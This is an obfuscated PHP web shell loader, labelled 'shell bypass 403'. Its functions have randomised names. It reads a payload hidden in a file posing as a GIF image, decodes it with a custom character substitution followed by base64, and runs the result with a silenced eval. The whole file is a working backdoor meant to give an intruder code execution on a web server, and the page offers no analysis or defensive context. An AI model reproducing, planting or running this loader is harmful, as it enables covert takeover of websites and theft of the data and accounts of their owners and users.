shell bypass 403
<?php
function oxymam_izhobexega($fezohy_anugebuca) {
switch ($fezohy_anugebuca) {
case 1:
return gylypo_forazozi();
case 2:
return nakyni_ydigijyj();
}
}
function gorare_gekothubu($fezohy_anugebuca) {
$bolehid = oxymam_izhobexega(1);
$bakhinu = oxymam_izhobexega(2);
for ($kusyqeb = 0; $kusyqeb < strlen($bolehid); $kusyqeb++) {
$febokhi = substr($bolehid, $kusyqeb, 1);
$vutolov = substr($bakhinu, $kusyqeb, 1);
$vohygaz[$febokhi] = $vutolov;
}
$dumoce = strtr($fezohy_anugebuca, $vohygaz);
$dumoce = base64_decode($dumoce);
return $dumoce;
}
function iqygin_tekhubyfur($fezohy_anugebuca) {
$ajiwili = array();
if (!file_exists($fezohy_anugebuca))
return false;
$juhezi = @file_get_contents($fezohy_anugebuca);
if (!$juhezi)
return false;
$juhezi = substr($juhezi, 3);
$ajiwili = gorare_gekothubu($juhezi);
return $ajiwili;
}
function gylypo_forazozi() {
$juhezi = "JxaqmCb57w40XHQRYhtfoWLK8VjFlBie1yzrnDSME9cusOG/dg6TIZv3pNAPkU+2=";
return $juhezi;
}
function nakyni_ydigijyj() {
$ajiwili = "PeJtv/KldqBcDFHTumEaisMnNR6IjOwUgSy43V7Cp5zXZGW0=k2Qxf18o9rAhYb+L";
return $ajiwili;
}
$kufeso = iqygin_tekhubyfur(__DIR__ . "/asset" . "s/im" . "ages/p" . "aweh" . "er.g" . "if");
if ($kufeso) {
@eval($kufeso);
}